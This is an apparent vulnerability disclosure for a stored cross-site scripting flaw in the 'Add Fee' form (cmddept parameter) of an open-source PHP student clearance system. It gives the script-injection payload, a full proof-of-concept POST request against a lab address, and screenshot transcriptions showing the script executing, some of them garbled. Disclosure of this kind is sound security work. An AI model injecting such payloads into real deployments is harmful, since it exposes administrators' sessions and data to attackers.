

main ▾

...

CVE_Hunter / XSS-2.md



Tr0e Create XSS-2.md

[History](#)

1 contributor

53 lines (36 sloc) | 2.58 KB

...

Vulnerability Description

[Web-Based Student Clearance System v1.0](#) was discovered to contain a cross-site scripting (XSS) vulnerability via the add-fee.php. It is an open source project from <https://www.sourcecodester.com/>. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the cmddept parameter.

1. BUG_Author: Tr0e
2. vendors: [Web-Based Student Clearance System in PHP Free Source Code](#);
3. The program is built using the xampp/v3.3.0 and PHP/8.1.10 version;
4. Vulnerability location: /student_clearance_system_Aurthur_Javis/admin/add-fee.php

Vulnerability Verification

[+] Payload:

```
"><script>alert(1)</script>
```

POC:

POST http://192.168.0.111:91/student_clearance_system_Aurthur_Javis/admin/add-fee.ph
Host: 192.168.0.111:91
Content-Length: 122
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.111:91
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
Referer: http://192.168.0.111:91/student_clearance_system_Aurthur_Javis/admin/add-fe
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=rbcvgagjbbad1bbrbb62nukgmc
Connection: close

cmdsession=2020%2F2021&cmdfaculty=Select+faculty&cmddept=%22%3E%3Cscript%3Ealert%281



How to verify

Build the vulnerability environment according to the steps provided by the source code author (Log in with the default account and password:admin/admin123) and execute the Payload provided above.

The vulnerability is located at the "Fee Management - Add Fee" function, you should insert Payload when you add new file, as shown in the following figure:

The screenshot displays the Arthur Jarvis University Admin Dashboard. The left sidebar contains navigation links: Dashboard, User Management, Student Management, Fee Management (selected), Add Fee, Payment History, Change Password, Logout, and Switch To Student. The main content area shows the 'Add New Fee' form with fields for Session (2020/2021), Faculty (Science), Department (Computer Science), and Amount (NGN) (20000). An 'Add' button is at the bottom. To the right, the 'Fee Structure' table lists existing fees. Below the dashboard, a network request and response are shown. The request is a POST to /student_clearance_system_Arthur_Javis/admin/add-fee.php. The response is an HTML page with a confirmation dialog. A red arrow points to a payload in the request body: `&adddept=62N3BN3script%3Balert%281N2893CN2script%3Balert%20000&addde`.

Arthur Jarvis University
Onigbo ya Ifipk

EKE, EMMANUEL EFA-EVAL

Search

Dashboard

User Management

Student Management

Fee Management

Add Fee

Payment History

Change Password

Logout

Switch To Student

Home / Add Fee

Add New Fee

Session: 2020/2021

Faculty: Science

Department: Computer Science

Amount (NGN): 20000

Add

Fee Structure

#	Faculty	Department	Session	Amount	Action
1	Science	Computer Science	2020/2021	NGN100,000.00	Action

Request

POST http://192.168.0.111:91/student_clearance_system_Arthur_Javis/admin/add-fee.php HTTP/1.1

Host: 192.168.0.111:91

Content-Length: 122

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://192.168.0.111:91

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://192.168.0.111:91/student_clearance_system_Arthur_Javis/admin/add-fee.php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: PHPSESSID=rbvng3bhd1bhb6Qnubgc

Connection: close

Response

HTTP/1.1 200 OK

Connection: close

Cache-Control: no-store, no-cache, must-revalidate

Content-Type: text/html; charset=UTF-8

Date: Fri, 07 Oct 2022 11:14:05 GMT

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Pragma: no-cache

Server: Apache/2.4.54 (Ubuntu)

OpenSSL/1.1.1 IP: PHP/8.1.10

X-Powered-By: PHP/8.1.10

Content-Length: 17672

<!DOCTYPE html>

<html lang="en">

<head>

<meta charset="utf-8">

<meta name="viewport" content="width=device-width, initial-scale=1">

<title>Add Fee[Admin Dashboard]</title>

<link rel="icon" type="image/png" sizes="16x16" href="/images/favicon.png">

<!-- Google Font: Source Sans Pro -->

<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700&display=fallback">

<!-- Font Awesome -->

<link rel="stylesheet" href="plugins/fontawesome-free/css/all.min.css">

<!-- Theme style -->

<link rel="stylesheet" href="dist/css/adminlte.min.css">

<script type="text/javascript">

function deldata(){

if(confirm("ARE YOU SURE YOU WISH TO DELETE THIS FEE ?"))

{

return true;

}

else {return false;

}

}

192.168.0.111:91 显示

1

确定



EKE, EMMANUEL EFA-EVAL

Search

Dashboard

User Management

Student Management

Fee Management

Home Search

Add New Fee

Session

2020/2021

Faculty

Select faculty

Department

Select Department

Fee Structure

| # | Faculty | Department | Session | Amount | Action |
|---|----------------|------------------|-----------|---------------|--------|
| 1 | Science | Computer Science | 2020/2021 | NGN100,000.00 | Action |
| 2 | Select faculty | "> | 2020/2021 | NGN2,000.00 | Action |

192.168.0.111:91/student_clearance_system_Aurthur_Javis/admin/index.php

元素 控制台 Recorder Performance insights Lighthouse 源代码 网络 性能 内存 应用 安全

```
<tbody>
  <tr class="gradeX"></tr>
  <tr class="gradeX">
    <td height="47"></td>
    <td></td>
    <td>
      <div align="center"> == $0
      <script>alert(1)</script>
    </div>
  </td>
</tbody>
```

样式 计算样式 布局

过滤 show .cls +

element.style {

},

node__dot.scss:22

::after, ::before {

box-sizing: border-box;

}

div[类选择器] {

text-align: -webkit-center;